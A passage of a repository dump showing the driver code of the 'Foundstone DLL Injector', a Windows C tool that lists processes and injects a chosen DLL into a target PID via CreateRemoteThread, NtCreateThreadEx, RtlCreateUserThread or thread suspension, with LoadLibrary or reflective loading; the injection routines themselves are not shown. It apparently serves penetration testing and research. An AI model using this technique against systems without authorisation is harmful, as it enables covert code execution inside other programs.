Dumping processes and PIDs..\n"); 155 | 156 | if( hSnapshot == INVALID_HANDLE_VALUE ) 157 | exit(-1); 158 | 159 | if( ! Process32First( hSnapshot, &pe32 ) ) { 160 | CloseHandle( hSnapshot ); 161 | exit(-1); 162 | } 163 | 164 | do { 165 | printf("\t[%d]\t%s\n",pe32.th32ProcessID, pe32.szExeFile ); 166 | } while( Process32Next( hSnapshot, &pe32 ) ); 167 | 168 | CloseHandle( hSnapshot ); 169 | 170 | } 171 | 172 | void help( char *processname ) { 173 | printf("\n"); 174 | printf("\t-d\t\tDump Process Excutables and IDs\n"); 175 | printf("\t-p PID\t\tPID to inject into (from -d)\n"); 176 | printf("\t-l file.dll\tDLL to inject\n"); 177 | printf("\t-h\t\tthis help\n"); 178 | 179 | printf("\nMemory Allocation Methods:\n"); 180 | printf("\t-P\tAllocate memory for just the file path (Implies LoadLibrary)\n"); // allocMethod = 1 181 | printf("\t-F\tAllocate memory for the full DLL (Implies Reflective)\n"); // allocMethod = 2 182 | 183 | printf("\nInjection Methods:\n"); 184 | printf("\t-n\t\tUse NtCreateThreadEx()\n"); 185 | printf("\t-c\t\tUse CreateRemoteThread()\n"); 186 | printf("\t-s\t\tUse Suspend/Inject/Resume\n"); 187 | printf("\t-r\t\tUse RtlCreateUserThread()\n"); 188 | 189 | printf("\n"); 190 | 191 | printf("Usage:\n"); 192 | printf("\t%s -d (To Dump processes and get the PID)\n", processname); 193 | printf("\t%s -p 1234 -l something.dll -P -c (Inject something.dll into process 1234)\n", processname); 194 | printf("\n"); 195 | 196 | } 197 | 198 | int main( int argc, char *argv[] ) { 199 | DWORD dwPid = 0; 200 | DWORD dwInjectMethod=1; 201 | DWORD dwAllocMethod=1; 202 | DWORD dwCount; 203 | 204 | LPTHREAD_START_ROUTINE lpStartExecAddr = NULL; 205 | LPVOID lpExecParam = NULL; 206 | HANDLE hTargetProcHandle = NULL; 207 | 208 | LPCTSTR lpcDll = NULL; 209 | TCHAR tcDllPath[BUFSIZE] = TEXT(""); 210 | #ifdef _WIN64 211 | TCHAR tcArch[4] = TEXT("x64"); 212 | #else 213 | TCHAR tcArch[4] = TEXT("x32"); 214 | #endif 215 | 216 | 217 | printf("\nFoundstone DLL Injector v%1.1f (%s)\n", VERSION, tcArch); 218 | printf("brad.antoniewicz@foundstone.com\n"); 219 | printf("--------------------------------------------------------\n"); 220 | 221 | for (dwCount=1; dwCount < (DWORD)argc; dwCount++) { 222 | if( strcmp(argv[dwCount] , "-d") == 0 ) { 223 | dumpProcs(); 224 | return 0; 225 | } else if ( strcmp(argv[dwCount] , "-p") == 0 ) { 226 | if(dwCount+1 != argc) { 227 | dwPid = atol(argv[dwCount+1]); 228 | printf("[+] Targeting PID: %d\n",dwPid); 229 | dwCount++; 230 | } 231 | } else if ( strcmp(argv[dwCount] , "-l") == 0 ) { 232 | if(dwCount+1 != argc) { 233 | lpcDll = TEXT(argv[dwCount+1]); 234 | printf("[+] Injecting DLL: %s\n",lpcDll); 235 | dwCount++; 236 | } 237 | } else if ( strcmp(argv[dwCount] , "-n") == 0 ) { 238 | dwInjectMethod = 1; 239 | } else if ( strcmp(argv[dwCount] , "-c") == 0 ) { 240 | dwInjectMethod = 2; 241 | } else if ( strcmp(argv[dwCount] , "-s") == 0 ) { 242 | dwInjectMethod = 3; 243 | } else if ( strcmp(argv[dwCount] , "-r") == 0 ) { 244 | dwInjectMethod = 4; 245 | } else if ( strcmp(argv[dwCount] , "-P") == 0 ) { 246 | dwAllocMethod = 1; 247 | } else if ( strcmp(argv[dwCount] , "-F") == 0 ) { 248 | dwAllocMethod = 2; 249 | } else { 250 | help(argv[0]); 251 | exit(0); 252 | } 253 | } 254 | 255 | if (dwPid == 0 || lpcDll == NULL) { 256 | help(argv[0]); 257 | printf("\n[!] ERROR: Must define PID and DLL\n"); 258 | return -1; 259 | } 260 | 261 | GetFullPathName(lpcDll, BUFSIZE, tcDllPath, NULL); 262 | printf("[+] Full DLL Path: %s\n", tcDllPath); 263 | 264 | // Attach to process with OpenProcess() 265 | hTargetProcHandle = attachToProcess(dwPid); 266 | if(hTargetProcHandle == NULL) { 267 | printf("\n[!] ERROR: Could not Attach to Process!!\n"); 268 | return -1; 269 | } 270 | 271 | // Copy the DLL via allocMethod 272 | switch(dwAllocMethod) { 273 | case 1: 274 | lpStartExecAddr = AllocWritePath(hTargetProcHandle, tcDllPath, &lpExecParam); 275 | break; 276 | case 2: 277 | lpStartExecAddr = AllocWriteDLL(hTargetProcHandle, tcDllPath); 278 | break; 279 | default: 280 | printf("\n[!] ERROR: Unknown allocMethod\n"); 281 | break; 282 | } 283 | 284 | if(lpStartExecAddr == NULL) { 285 | printf("\n[!] ERROR: Could not allocate memory!!\n"); 286 | return -1; 287 | } 288 | 289 | // Inject the DLL into process via injectMethod. lpExecParam may be NULL 290 | injectDLL(hTargetProcHandle, dwInjectMethod, lpStartExecAddr, lpExecParam); 291 | 292 | CloseHandle(hTargetProcHandle); 293 | 294 | return 0; 295 | } 296 | -------------------------------------------------------------------------------- /src/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by dllInjector.rc 4 | 5 | // Next default values for new objects 6 | // 7 | #ifdef APSTUDIO_INVOKED 8 | #ifndef APSTUDIO_READONLY_SYMBOLS 9 | #define _APS_NEXT_RESOURCE_VALUE 101 10 | #define _APS_NEXT_COMMAND_VALUE 40001 11 | #define _APS_NEXT_CONTROL_VALUE 1001 12 | #define _APS_NEXT_SYMED_VALUE 101 13 | #endif 14 | #endif 15 | --------------------------------------------------------------------------------